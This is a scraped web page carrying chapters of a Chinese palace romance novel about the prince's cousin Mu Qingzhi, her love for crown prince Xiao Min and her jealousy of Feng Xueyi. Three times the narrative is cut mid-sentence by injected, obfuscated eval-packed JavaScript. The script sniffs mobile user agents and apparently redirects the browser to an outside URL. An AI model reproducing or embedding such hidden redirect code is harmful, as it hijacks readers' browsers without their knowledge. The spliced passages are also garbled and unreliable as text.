道路两旁的百姓望着重新前行的太子銮驾,不由地爆发出一阵山呼,称赞太子的仁慈。 看到这里,穆清芷再也按耐不住满心的欢喜,提着裙子,急匆匆地跑下楼去。 “太子哥哥!” 穆清芷眼眸明亮,宛若阳光下熠熠生辉的黑曜石。 所有人都听见她亲昵的呼唤,包括无数人簇拥而来的储君。 有人压低声音:“这是谁,是圣上的哪位公主?” “你刚来长安吧?”否则不可能不知道这位女郎。 “正是。” 有人道:“这位女郎虽然不是公主,但连公主都要避让三分呢。” 人群自动分开一条道路,穆清芷顺利地走到萧旻身边,又轻声唤了一声“太子哥哥”。 所有人都知道,太子殿下身边的位置是谁的。 无数道目光落在二人的身上,穆清芷心里甜甜的,比吃了蜂蜜还要甜。这几天萦绕不去的难过暂时不见了,恨不得永远这样下去。 登上彩楼,众人一一上前见礼。穆清芷悄悄靠近萧旻身侧,扯了扯他的衣袖。 萧旻转眸看她。 穆清芷登时一笑,灿然生光,指了指萧旻空荡荡的左手:“太子哥哥,我把我的五彩绳分你一缕。” 不待他开口拒绝,穆清芷取下左腕上的五彩绳,系在他的腕上。 她今日用红色丝带编了发辫,垂下的丝带随着她的动作微微晃荡,映入萧旻眼帘,心中微微一动。 只听穆清芷闭上双眼,双手合十,虔诚地道:“愿上天保佑我的太子哥哥无病无痛,无灾无难。” 一抬起眼,恰好对上萧旻的目光。 此时,丹凤门下万民欢呼之声不绝于耳,缀满鲜花的彩楼之中却是肃穆安静,侍卫持剑而立,五彩的绸带飘起落下又飘起。 萧旻乌黑的眼珠里,清清楚楚地倒映着自己的身影。 无声的注视下,穆清芷的脸颊渐渐红了,像是一颗饱满的林檎果,又悄悄地垂下了。 “太子哥哥,今晚你会进宫吗?”穆清芷轻声道,“和我们一起用晚膳。”这个我们,自然是她与祝皇后。 萧旻眨了眨眼,缓缓收回手,“改日再去。” 穆清芷的眼眸黯淡下来,有些难过。她的情绪都挂在脸上,想哭就哭,想笑就笑,从不掩饰。 萧旻不欲再说,准备登上丹凤门门楼,突然被一只手拉住。回过头,只见穆清芷紧抓着他的衣袖,问道:“太子哥哥,听说今夜曲江池上会放荷灯?” 说到最后,她又直直地看着他,像是要看进他的心底。目光里透着一股子倔强,仿佛他不答应绝不罢手。 萧旻无奈颔首。 穆清芷莞尔一笑,秀目流盼间,说不出欢喜惬意,松开他的袖子跑走了。 跑到楼梯口时,忽然站住脚步,回眸笑道:“一定要记得啊。”说罢噔噔噔顺着楼梯跑下去,腰间的红绦带随之翻飞,灵动可爱。 走到下一层,穆清芷倚着栏杆,随意往下一瞥,目光忽然凝住,落在一个身穿蓝衣的女郎身上。 似有所感,女郎也立刻抬起头来。四目相对,穆清芷飞速地移开目光,若无其事地看向别处。 “在看什么?”薛涵顺着奉雪宜的目光向上看,脸色一沉,“又是她。” 奉雪宜有些疑惑,“又是她?” “你刚来长安不知道,这人是皇后的侄女,平日里娇蛮任性,喜欢惹是生非。” “是吗?”奉雪宜看着穆清芷,她的眼睛圆圆的,看人的时候有一种清澈的无辜感。让奉雪宜想起她养过的一只小兔子,眼睛也是这样湿漉漉,十分可爱。 奉雪宜道:“我竟然没看出来。” 薛涵冷笑,“她最喜欢仗着自己有个皇后姨母胡作为非,但不是所有人都怕她,总有一天我要她好看。” 河东薛氏乃是当朝第一大族,周围的女郎父兄皆是薛家党羽,纷纷出言附和。 奉雪宜只是笑笑,不动声色地将话题引向别处,“九娘头上戴着的簪子好漂亮,是哪里买的?” 提到这个,薛涵脸上露出骄傲之色:“是我姐姐赏的。” 薛昭仪有孕后,恩宠愈盛,圣上的赏赐如流水一日不曾间断。 她想起前几日偷听到耶耶与娘亲的谈话:皇后恩宠日渐稀薄,又无亲子傍身。来日薛昭仪诞下皇子,凭借河东薛氏的声望地位,凤位并非不可能。 薛涵露出一个阴冷的笑,她等着穆清芷跪下给自己赔罪的那一日。 …… 入夜之后,一盏盏灯火亮了起来。若从丹凤门俯视看去,只见满城花灯辉煌,犹如千树花开。 穆清芷坐在小舟上,伸手拨弄水面,喧嚣的热闹声隔岸隐隐传来,与此处的寂静宛如两个世界。 唯有裙摆旁搁着的一盏荷花灯,散发着微弱的光芒,映得穆清芷的脸忽隐忽现。 此地名叫芙蓉苑,因无数木芙蓉在此盛开而得名。穆清芷自小常来这里玩耍,摘芙蓉花临水自照。 到了湖心亭,四面挂上防风的帷幕,穆清芷独自在石桌边坐下,静候心上人的到来。 万籁俱静,对岸伶人轻柔的歌声越过繁华嘈杂,飘在碧琉璃般的水面上: “一尺深红胜曲尘,天生旧物不如新。合欢桃核终堪恨,里许元来别有人……” 穆清芷支着脑袋,浑然不解其中意,只觉得睡意朦朦胧胧地涌上来,终于忍不住歪着头睡了。 这一觉睡得并不安稳。 穆清芷秀眉紧皱,一会梦见姨母面目狰狞,逼她不许再见太子哥哥。一会又梦见太子哥哥持剑杀了姨母,鲜血溅在他的脸上,宛若修罗恶鬼。 “不要!” 穆清芷睁开眼睛,猛地站起身来,手肘撞到石桌上,毫无察觉,脸上冷汗淋漓。 她连忙走到亭子边,只见水面幽静深不见底,连一丝一毫的声音都没有,心中生出恐惧害怕,喊道:“什么时候了,太子哥哥去哪了?” 侍女划着小舟过来,没有上岸:“娘子,已经派人去东宫看了。如今夜深了,我们要不要先行回宫,免得皇后挂心?” 回宫? 穆清芷犹豫片刻,想起要给萧旻的东西,坚定地摇了摇头:“不,我哪也不去。”她就在这里,等太子哥哥来。 侍女劝了几句,见她心意已决,也就不再劝了,安静地守在一边。 穆清芷被噩梦一吓也没了睡意,便在亭子边台阶上坐了下来,仰头望着天上的星辰。 她一边在心里默数,一边想到小时候自己和太子哥哥坐在立政殿的台阶上,教她认二十八星宿。 除去北斗七星,穆清芷认得最清楚的就是参宿,它有三颗呈现腰带状的星星,最好认了。 “人生不相见,动如参与商。”穆清芷若有所思,想起太子哥哥教她认参宿的时候,还提起了这句诗。 穆清芷出生在长安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不是想放荷灯?”萧旻说到,走下台阶,穆清芷紧紧跟随在他的身边。 只见一个内侍站在船头,手捧着一个荷灯,递给萧旻。 穆清芷咦了一声,这荷灯非玉雕非纸扎,而是一朵刚刚摘下还带着露水的初绽荷花。 此时五月初,长安城内林苑众多,皆不能使荷花开放。唯有长安近郊的骊宫能引天然温泉水浇灌,使早荷盛开。 穆清芷却没想这里,也没有问是从哪里来的,低头望着荷花,伸手抚摸,颇为喜爱。 萧旻自然也没说,随意拂去落在肩上的露水。 长安自骊山五十余里,一人一骑,要近两个时辰。 “太子哥哥,我们许个什么愿好?” 穆清芷扭头看向萧旻。 “你的荷灯,应该要问你自己。” “可是我想和你一起放啊。”穆清芷拉长声音,弯起眉眼,正像是天边的一轮弯月,皎洁可爱。 她接着笑道:“我已经想好了。”将荷花放入水中,双手合十,低头默默许愿。 片刻之后,她睁开眼伸手一推,荷花在水面上打了个旋,顺水流飘走了。 “求菩萨保佑。”穆清芷小声地道。 她是不信佛的,可是到了这个时候,还是忍不住说一声菩萨保佑。 保佑她,如愿以偿。 萧旻站在她的身后,忽然道:“菩萨恐怕保佑不过来。” “啊?” “倘若人人都向菩萨祈求祷告,人人的夙愿都要成全,即便有千万种法相化身,恐怕也难以事事周全。” 穆清芷注视着萧旻略显冷峻的侧脸,心念微动。 过了一会,她道:“太子哥哥你说的对,菩萨管不过来,我不向菩萨许愿。” 菩萨要忙着渡那些受苦受难的众生,她的心愿太小了,还是不劳烦她了。 穆清芷双手合十,朝着他虔诚一拜,俏皮地道:“求我的太子哥哥保佑,保佑我如愿以偿。” 萧旻失笑:“我又不是你的菩萨。”为何向他祈求。 “我偏要向你求。” 她仰头望着萧旻,问道:“那你答不答应?” 她能许什么愿望?左右不过是岁岁无虞、长乐无忧的心愿。 迎着穆清芷的目光,萧旻轻轻点头。 穆清芷嫣然一笑,笑得甜蜜,像是有什么秘密藏在里头。 求太子哥哥的保佑,恐怕比天底下任何一尊菩萨还要灵验。 因为她的愿望很简单: ——愿她与太子哥哥白首不分离。 5. 05 湖水平静,夜风微凉,吹起穆清芷的发丝,也吹起她发间的丝带,轻轻碰到萧旻掩在衣袖里的指尖,一触即分。 他的指尖微动。 穆清芷浑然不觉,专心致志地注视着顺水飘荡的莲花灯,直到再也看不见才收回视线。 “我让人送你回宫。” 穆清芷撅起嘴,不太乐意道:“还早呢。”和太子哥哥呆在一块的日子,她永远也不嫌久。 萧旻不欲争辩,抬手要吩咐侍从,却被穆清芷一把抓住。 “太子哥哥,你不要让侍卫把我送回宫。我好不容易才见到你。我还有一件东西没有送给你呢,你不想知道是什么吗?” 穆清芷抱着萧旻的胳膊不住摇晃,一双又大又圆的眼睛可怜巴巴地看着他,可爱极了。 他的手臂陷在一片过分的柔软里,萧旻面不改色,淡淡地道:“放手。” 穆清芷一愣,顺着萧旻的视线低下头,登时俏脸一红,慌张地松开手,后退几步,心跳如擂鼓。 她余光瞥见萧旻凸起的喉结与坚实宽阔的胸膛,与自己截然不同。 是啊,小时候没有什么男女之分,可是现在她们都大了。 从自己八岁那年,姨母领着太子哥哥来到自己面前,嘱咐二人好好相处起,已经过去整整七年。 她要及笄了。 女子及笄之后,就要开始相看夫婿,准备出嫁了。 想到这里,穆清芷不禁埋下了头。 她少有这么羞涩的样子。 低垂着脑袋,双手绞在一起,被垂在脸颊的红丝待一衬,宛如初发芙蓉,娇艳动人。 芙蓉有一日三醉的美名,而她此时酡红的容颜,也不遑多让,叫人心头沉醉。 萧旻移开视线,不去看她,开口道:“是什么东西?” “啊?” “不是说要送我一样东西吗,是什么?”萧旻缓缓道。脸色平静,全没将方才的事放在心上,连带着穆清芷的心也渐渐平静下去。 听见萧旻的话,穆清芷才反应过来。她特地约萧旻来这里,可不只是想要放荷灯,还为了一件极为重要的事情 “是啊,我有东西想要送给你。”穆清芷笑道,从身上取出一个香囊。 只见针脚细密,明黄的面料上绣着一幅猛虎扑蝶的景象。 白虎扑姿轻盈,目光柔和,紧紧跟随着空中蹁跹飞舞的红蝶。与其说是扑蝶,不如说是欢逐嬉戏。 穆清芷道:“太子哥哥我给你系上吧。”不待萧旻反应,伸手去解他腰间的香囊。 将香囊捏在手里,穆清芷才发觉有些不对劲。 这不是萧旻素日佩戴的香囊。 她一咬牙,用力地把香囊拽下来。一缕长长的金线顿时被扯了出来,香囊上绣着的金茶花瞬间变形。 萧旻攥住穆清芷的手,冷声道:“你做什么?” 她的手腕发痛,心里也隐隐作痛,脸上却强撑着不露出来,叫道:“我不许你戴别人绣的香囊,我要把它扔了!”语气十分蛮横。 这个金茶花香囊,针法面料都不出自尚宫功局之手。 一定是特地送给萧旻的,这人一定还是他极为亲近之人。 只有一个人。 穆清芷脑海里浮现一个蓝色身影,除了自己,只有她。 也只有她了。 萧旻的脸沉了下去,稍稍一使劲,穆清芷吃痛,手一松,香囊便被他拿在手中。 见他如此珍惜,穆清芷大声道:“你这么宝贝它,就因为是她做的,是不是?” 晶莹的泪珠在眼睛里滚来滚去,不肯掉下。 穆清芷摊开手,露出手心的香囊,倔强地道:“你是要她的还是我的。” 萧旻皱眉,并未回答她的话,轻声呵斥道:“别胡闹。” 闹? 他觉得她在胡闹? 穆清芷闭上眼,一行泪从脸颊滑落,攥紧了自己亲手绣的香囊。 他已经做出选择了。 萧旻见到她流眼泪,在心里轻轻叹了一口气,待要上前,却忽然听见扑通一声,像是有什么东西重重砸入水中。 穆清芷放下了手。 他不要,她也不稀罕给。 心里这么想,可脸上的眼泪流得更凶了,怎么止也止不住。 穆清芷哭道:“我偏要胡闹!” 萧旻神情一肃,快步走向水边。 穆清芷跟在他的身后,一边哭一边抹眼泪,赌气地道:“我不给你,我宁愿扔了也不给你!” 她为了这个香囊,天天跟着尚功局的绣娘做女红,十个指头都被扎了个遍,才终于绣出一个勉强满意的。 可是太子哥哥,宁愿却戴着奉雪宜送给他的香囊,也不要她的。 穆清芷想到这里,眼泪扑簌簌而落,砸在地上,脸颊哭得红彤彤一片。 萧旻扫过恢复平静的水面,又转头看着泪流满面的穆清芷,神情更冷,正欲开口。 “殿下!”一道尖锐的声音突兀地出现。 穆清芷泪眼朦胧地望向来人。 只见内侍撑着小船,缓缓靠近湖心亭,说道:“殿下,奉娘子来了,说有急事要见您。” “不许!”不等萧旻回复,穆清芷大叫道。 顾不上那么多,她抓住萧旻的袖子,眼里含着泪,紧紧盯着他:“不要走,我不许你走。你答应过我,要陪我的。” 萧旻见她脸上露出不安的神色,左手搭在她的手背上,缓下语气:“沅沅,你放开手,让我去见她。” 穆清芷拼命摇头,十指几乎要把萧旻的衣袖抓破。天底下没有哪一个女子,舍得放自己的心上人去见另一个女子。 “太子哥哥,我总觉得,你一去就再也不会回来了。” 穆清芷低声说道,脸上还带着泪痕,心里无端地生出一种害怕,仿佛已经预见来日的大祸。 萧旻道:“你又胡思乱想。” “不,你不明白。” 穆清芷摇头,认真地道:“太子哥哥,我们从小一起长大,你事事迁就我,照顾我。那我今天要你立一个誓言,你答不答应?” “什么誓言?” “我要你永远保护我,永远不离开我,永远不让我伤心难过。” 其实过去的数年中,无需言明,他从来都是如此做的。穆清芷也从没怀疑过萧旻对待自己的心。 可自从奉雪宜出现后,有什么东西悄悄变了。 听到穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164497|196640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清芷的话,萧旻不语。穆清芷也不催促,只是反手握住他的手,静静等候。 萧旻看着她焦急的神情,淡淡道:“倘若立这个誓言能让你安心,那我……” 忽然一道女声将他的话截断:“表哥。”原来是小舟去而复返,奉雪宜迎风立在船头,蓝衣拂动。 “我等不及,便亲自过来找你了。”奉雪宜微微一笑,目光落在穆清芷与萧旻交握的双手上。 她一出现,萧旻便好像想到什么,脸上神情变得冰冷起来,低声对穆清芷道:“我让人护送你回宫。” 穆清芷自然不依,双手紧紧抓在他的袖口上:“你还没答应我呢。” 萧旻没接话,一双含情的凤眼似乎淬了冰,漠然看着她。 穆清芷也倔强地看着他。 然后,萧旻不容置疑地、坚定地将穆清芷的手指一根一根掰开。 他每掰一根手指,穆清芷便掉一滴眼泪,啪嗒啪嗒,落在萧旻的手背之上。 他走了。 穆清芷站在原地,亲眼注视萧旻上岸离开。 他每走一步,自己的心似乎也碎成一块一块,钝钝地痛。 忽然,萧旻停下脚步。 只要他回头,他回头看她一眼。穆清芷眼眶微红,在心里默默祝祷,只要他有一点舍不得她,她就原谅他。 萧旻重新迈开脚步。步履稳健,淡蓝倩影始终相随在左右,最后一同隐入夜色之中。 从始至终,他都没有回头。 “滚!” 穆清芷尖叫道。将头上的金钗玉簪、身上的玉佩手镯通通扯下来,叮叮当当之声不绝于耳。牵扯出长长的发丝,也丝毫没觉得疼痛, 侍女们连忙冲上去,抱住穆清芷的身子,眼泪也流了下来:“娘子,不要这样……” 穆清芷挣扎不脱,渐渐地安静下来,“松开。” 侍女们犹豫片刻,她加重语气再说了一遍,这才缓缓松开手。 穆清芷蹲下身抱住膝盖,吸了吸鼻子,眼泪顺着脸颊聚在下颌处,重重滴落在地上,砸开一朵小小的泪花。 冷风迎面一吹,脸上一道道泪痕也结成冰。 好冷。 怎么会这么冷。 连五脏六腑都被冻住了。 太子哥哥走了,那她该怎么办? 侍女围在她身边劝她回宫,穆清芷不理不睬,望着夜色苍茫的湖面,怔怔出神。 良久,她忽然问道:“还能找到吗?” 侍女先是疑惑,然后才反应过来她问的是被她扔进湖中的香囊。 此湖引曲江池水而成,日夜流动不止,穿苑而出,注入渭水,最终随黄河奔流东去,不可西回。 流水不能回头,更何况一个顺流而下的香囊。 一个小小的香囊扔进去,恐怕早已被湖水裹挟而去,断然没有失而复得的希望。 侍女心里这么想,嘴上却道:“大概陷在湖底的淤泥里,明日叫人打捞起来,娘子别伤心。” 穆清芷默默不语。 方才大哭大闹了一通,忽然安静下来,一股浓重的疲倦感涌上心头,穆清芷倚在侍女身上,轻轻地闭上了眼。 她的鼻音浓重:“我想姨母了。” 6. 06 薛昭仪小产了。 得知此事的时候,穆清芷正坐在祝皇后身前,乖乖地让姨母为自己梳发。 她的眼睛刚刚拿冰敷过,眼皮红肿,像是一朵发蔫的芙蓉花。 “还在想昨晚的事情?” 祝兰君的手指在她如瀑的发丝间穿梭,轻柔地将打结的头发理开。 穆清芷闷闷点头。 “这么大了,还是这么爱哭。”祝兰君轻声说道,话里既有责备也有怜惜。 穆清芷转过头,拿走祝兰君手里的玉梳,气鼓鼓地道:“姨母,你再取笑我,我就不理你了。” 祝兰君捏了捏她微微嘟起的脸颊肉,无奈地道:“傻丫头,我是在取笑你吗?你一个人蹲在那儿一边吹冷风一边哭有什么用,还不赶紧回来告诉我,让我给你做主。” 穆清芷疑惑道:“姨母能做什么?”她希望太子哥哥不要离开她,永远陪着她,可是姨母怎么能做到呢? 这是谁也勉强不来的。 祝兰君瞧见她脸上懵懵懂懂的神情,心中无比爱怜,柔声道:“我等会就派人去传旨,说我想念太子,让他进宫给我请安。” 皇后宣召,萧旻身为人子,必然不能推辞。 “所以说,你哭什么?”祝兰君慢条斯理地道,“只要你想见太子,还不是一句话的事。” 穆清芷却没有像祝兰君预料的一样展露笑颜。 祝兰君有些意外,“沅沅,你还有哪里不满意吗?” 穆清芷先是摇摇头,然后又点点头,不说话。 祝兰君道:“是不是因为那个姓奉的女郎,我让太子把她打发走,好不好?”抬起手来,将侍女叫至面前。 穆清芷拉住她的手,轻轻地摇头。她还是没说话,脸上眼底却是掩盖不住的伤心难过。 奉雪宜终究是太子哥哥嫡亲的表妹。 太子哥哥幼年丧母,从未见过母亲的亲人。对待这个多年不见的表妹,心中应当始终存着一份怜惜之情。 否则,他不可能收下奉雪宜的香囊。 穆清芷平日里神采飞扬,笑容满面,便是遇上一两件不顺心的事情,也不以为然,何曾流露出这般伤心欲绝的神情。 “我的沅沅,你究竟是哪里不开心,告诉姨母,好不好?” 穆清芷抬起头来,“可是这种事情,是勉强不来的。” “姨母这么做,虽然能让我和太子哥哥天天待在一块,却不能让太子哥哥的心和我待在一块。要是两个人的心不在一块,就算天天见面,又有什么开心的呢。 只要两个人的心始终在一块,就算隔得再远,也终有相见的时候,比天天呆在一块,心却不在一起的人还要快活千倍万倍。” 祝兰君默默听着,凝望着她的脸孔,眉眼满是青涩稚气,话语里却透露出十分的哀切,听得人的心也要碎成一块一块。 祝兰君问道:“那你打算怎么办?” 穆清芷脸上流露出迷茫之色,好半晌才道:“我喜欢太子哥哥,不舍得他为难,不舍得他伤一点心,是我自己的事情。可是太子哥哥喜不喜欢我,舍不舍得我伤心难过,我从前是明白的,可是现在却有些糊涂了。” 昨晚她一宿没睡,脑海里浮现翻涌的都是从前和太子哥哥的点点滴滴。 小时候,太子哥哥常常为她编花冠推秋千。等到她再长大一点,太子哥哥就教她读书写字,骑马射箭。 她的小红马就是太子哥哥专门派人送给她的,是她十二岁的生辰礼。 她以为自己是特殊的,从小到大,一直都是这样,毫不怀疑。可奉雪宜的出现,这些特殊就不再属于她一个人了。 太子哥哥心里是怎么想的? 其实奉雪宜温柔娴静,对她心存好感,是人之常情。 可是…… “姨母,我的心好痛。我好想让他只属于我一个人……”穆清芷伏在祝兰君的肩上,哽咽地道。 她只要一看到太子哥哥除了自己,还在意别的女郎,心里就难过,恨不得大哭一场。 祝兰君感觉肩头泛起一丝冷意,眼泪浸透了衣衫,在心里叹了一声气。 萧旻如今是太子,来日是九五至尊,他的妻子应当贤良淑德,将后宫打理得井井有条,规劝圣人雨露均沾,为皇家绵延后嗣。 今日一个所谓的表妹尚且如此,来日萧旻三妻四妾,享天下之美色,她的沅沅不知要流多少眼泪。 倘若她早知道她的沅沅会对太子情根深种,她当初何必叮嘱沅沅要待萧旻亲近一点。 “为什么啊?他不说话,阴沉沉的,一点也不像其他人会给我捉蛐蛐玩,我不要和他玩。”八岁的穆清芷一脸傲气,不高兴地叫道。 祝兰君蹲在她面前,柔声道:“是谁给你捉的蛐蛐?” “是四皇子和六皇子。” “那他们住在哪里?” 穆清芷一时答不上来,她怎么会关心这个,便说道:“回自己娘亲那里。” “对啊。”祝兰君摸了摸穆清芷的脸蛋,“那太子和你都住在姨母这里,是不是,他和我们才是一家人。太子刚刚来这里,心里肯定很害怕,你多陪陪他好不好?” 穆清芷只好点头,“好吧。” 想到这里,祝兰君不愿再回忆下去,心绪悲凉:世间哪有那么多早知道。 倘若她的旭轮还活在世上,她何必担忧自己百年之后,无人照拂沅沅。 不是亲生的孩子,终究是养不熟的。 祝兰君眼底划过一丝冷意,手上的动作却轻柔,轻轻地拂过穆清芷的头发。 “想不明白就不想了。”她轻声道,“听说骊宫的荷花开放了,你刚好去住几天,散散心。” “姨母和我一起吗?” 注视着穆清芷期待的眼眸,祝兰君道:“你先去,我过几日就来。” “好吧。”穆清芷嘟起嘴。 “照顾好娘子。”祝兰君嘱咐左右的侍女,站起身来。“不许再闹脾气了,下人说你今早都没用膳。” 穆清芷不好意思地笑了笑,送祝兰君出去,站在门边举起左手发誓,道:“我以后一定好好吃饭。” “这才对啊。”祝兰君满意地道,“你说过的话,我可都记下了。” 穆清芷重重地点头,目送祝兰君离开。见到姨母忽然停下脚步,回头看自己,连忙挥手告别。 祝兰君见状,也微微一笑,右手在胸前轻轻摆了摆,这才抬脚离开。 “娘娘,薛仆射方才入宫求见陛下,现在还没出来。” 祝兰君微微眯起眼,“听清楚说了什么吗?” “好像是为了薛昭仪小产的事情。” 祝兰君淡淡地应了一声,“陛下怎么说的?” “陛下一直在安抚薛仆射。”薛党势大,圣人势必要给他们一个交代。 谁能想到,薛昭仪半夜会无缘无故地小产? 太医都说昭仪这一胎脉象本就不稳,加之母体心情不悦,气血亏空,这才导致小产。 谁能挑得出错漏? 祝兰君脸上流露出怜悯之色,低声叹道:“宫里许多年没有听闻嫔妃有孕之喜,我身为后宫之主,圣人却子嗣稀少,来日到了九泉之下,也无言面对萧家的列祖列宗。” 说到这里,不禁抬手微微擦拭眼角,吩咐侍女:“你去开我的库房,看看有什么适合小产妇人食用的补品,给薛昭仪送去,让她养好身子。” “她还年轻,孩子总会有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164498|196640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 五月初十,骊山行宫。 “荷叶初开犹半卷,荷花欲拆犹微绽。此叶此花真可羡……争奈世人多聚散。频祝愿,如花似叶长相见……” 微风吹动满池荷叶,簌簌声响里,莲花摇曳,清香四溢。 一只雪白的海东青在空中翱翔,不时斜身掠过水面,激起圈圈涟漪。 这首诗借花叶喻人,写的是希望与友人如同荷叶荷花长久相伴,永不分离的情形。 一艘小船上五六个女郎齐声歌唱,却毫无感伤之意,唱到最后嘻嘻而笑,一会舀水一会采莲,船舱上堆满了刚刚从水中采下来的莲蓬。 穆清芷咬了一口新鲜刚刚剥下来的莲子,忽然脸皱成一团,叫道:“好苦!” 侍女拿出手帕让她把莲子吐出来,笑嘻嘻地道:“傻娘子,吃莲子不取心,不苦死你才怪。” 只见碎碎的莲肉之中,夹着一根青黄的芽儿。 穆清芷“啊”了一声,“我一直以为它是甜的。” 她打出生起,吃的莲子都是甜的。如果不是今日一时兴起,哪里会知道吃莲子要取芯。 侍女道:“我来给娘子剥莲子吧。” 穆清芷乖乖看着侍女的动作,见她手指灵巧,不一会将雪白的莲肉剥好了。 这次果然是甜的。 穆清芷将那根莲芯拿在手里,纳罕地道:“怎么会有这么苦的东西?”莲肉那么香甜,为什么会长出那么苦的莲子心在里面。 “有甜当然就有苦。”侍女笑道,“世上哪样事情不是这样。” 穆清芷想了一会,道:“不一定。”做姨母的侄女儿,是天底下最最最甜的事情,旁人羡慕都来不及,一点也不苦。 这时,决云向下冲来,朝着穆清芷连连啼叫,穆清芷从水缸里捞了一个莲蓬扔给它。 决云嚼了嚼咽了下去,一声嘹亮的鸣叫,飞远了。 晚上用膳的时候,正好碰上皇后遣人来看望。 穆清芷一脸期待,“姨母明天能到吗?” “奴婢所来正是为了此事,娘娘事务缠身,实在是抽不开身。娘娘说,娘子在骊宫好好玩,不要忘记按时用膳。” 穆清芷搁下调羹,不高兴地道:“忙忙忙,到底在忙什么?”明明答应过她,过几日就来骊宫陪她。 “好像是圣人突然宣燕王世子回京复命。” 先帝子嗣繁多,本朝有数十位亲王郡王,这些皇室宗亲的子嗣又无穷无尽。穆清芷想了一下,终于想起这人是谁了。 燕王最小的儿子,萧晏。 小时候,他经常陪自己捉迷藏。有一次自己还躲在一个假山后面,睡了过去,是被一个小太监叫醒的。 等自己出来之后,才发现姨母急得眼泪都要掉下来了。萧晏也因为被燕王妃狠狠揍了一顿。 后来经过这一遭,再也没人陪自己玩捉迷藏了。 穆清芷又问:“那太子哥哥在做什么?” 侍女为难,储君的行踪哪里是她们能知道的,只好说:“太子殿下一切都好。” 穆清芷唰的一下站起来,赌气地道:“不吃了。” 周围的侍女连忙上前哄她,“我的祖宗,你问她是做什么?她都是瞎说的。要是真知道太子殿下的行踪,几个脑袋够她砍啊。” “皇后娘娘才命人嘱咐您好好用膳,您这样做,岂不是让娘娘远在长安也日夜难安。再说前几日您亲口答应过娘娘,要好好用膳。” 穆清芷磨磨蹭蹭地重新坐下,胃口却全无,草草喝了几口,就让侍女端下去了。 “你们快去收拾东西,我明天就要回去。” 穆清芷语速飞快,一刻都等不及了。 她要回长安。 7. 07 “九娘。” 侍女领着奉雪宜进来,薛涵正坐在桌边,正在把玩一把匕首,见到奉雪宜进来,开口道:“坐吧。” 奉雪宜坐在她对面,见她的手中拿着一把匕首,轻轻一挥,寒光耀眼。 “好锋利的匕首。”奉雪宜惊叹道。 薛涵脸上神色十分高傲,手腕轻翻,将匕首转了一个圈,道:“这是我姐姐送我的,怎么是那些凡铁俗刃能比的。” 奉雪宜道:“昭仪与九娘真是姊妹情深,真是令人艳羡。” “那当然。” 薛涵昂起头,十分高兴。正要向奉雪宜夸耀薛昭仪对待自己的种种好来,忽然想到前段时间薛昭仪小产的事情,心情便低落下来。 也不知道姐姐一个人在宫里好不好? 她随即想起前几日母亲与自己说的话。 一定,一定是皇后嫉妒姐姐有孕,她自己没有孩子,就见不得别人有孩子。 薛涵越想越气,瞥见自己手背上的鞭痕,虽已结痂但当时的屈辱疼痛仍然铭记在心,心中的难受、心疼悉数化为无穷无尽的怨毒。 砰的一声,匕首竖直向下,深深地插入桌案之中。 奉雪宜微微一惊,守在外面的侍女听见动静,也都涌了进来。 “奉娘子,我家娘子今日身体不适,万望见谅。” 侍女亲自送奉雪宜登上马车,奉雪宜点头道:“我明白。” 她微微一笑,道:“我近来得了一个宝物,尚可入目。劳烦你交予九娘了,也算我聊表寸心。” 她当然明白薛涵为什么发怒,她越生气,才会显得她这份礼物有多珍贵。 只见奉雪宜身后侍女捧出一个锦盒,镶金嵌玉,十分精美。 “我一定将娘子的心意转达到。”侍女笑着接过,亲自扶奉雪宜上车。 车轮碾过碎石细沙,奉雪宜靠在窗边,心里想着这几日发生的事情,薛昭仪小产究竟是不是蓄意为之,秀丽的眉目如同覆上一层冰雪,神色晦暗难辨。 喧闹声越来越近,马车转了一个弯,驶入朱雀大街。 奉雪宜撩起车帘,向外望去。朱雀大街为长安最繁华的一条大道,来往尽是宝马香车,锦衣华服,花光满路。 她的目光随意扫过,忽然停住。 只见人群之中,一位红衣女郎骑在小红马上,颈间挂着一串明珠,一双杏眸又大又圆,顾盼神飞,令人眼前一亮。 奉雪宜神色微动,还没有收回视线,穆清芷便看了过来。 视线交汇,穆清芷微微一怔,没有想到会在这里撞见奉雪宜。 “穆娘子是要回宫吗?” 奉雪宜柔声道,仰头望着穆清芷。 穆清芷微微抿唇,翻身下马,走到马车窗边,道:“我刚刚从骊宫回来。” 奉雪宜微笑点头,“娘子一路奔波辛苦了,早些回宫歇息,我先告辞了。” 眼看着奉雪宜要放下车帘,穆清芷心里挣扎了一下,叫住了她:“等等。” 奉雪宜回头,疑惑地道:“娘子还有什么事吗?” 穆清芷不答,转头吩咐侍女:“你们走远一点,我有话和奉娘子单独说。” 四周空出一块,奉雪宜又问了一遍:“娘子有什么话要问?” 穆清芷吞吞吐吐地问道:“那个香囊你是送给太子哥哥的吗?” “原来是被穆娘子扯坏的吗?”奉雪宜恍然大悟,脸上的笑容淡了。 穆清芷道:“你先回答我的问题。” 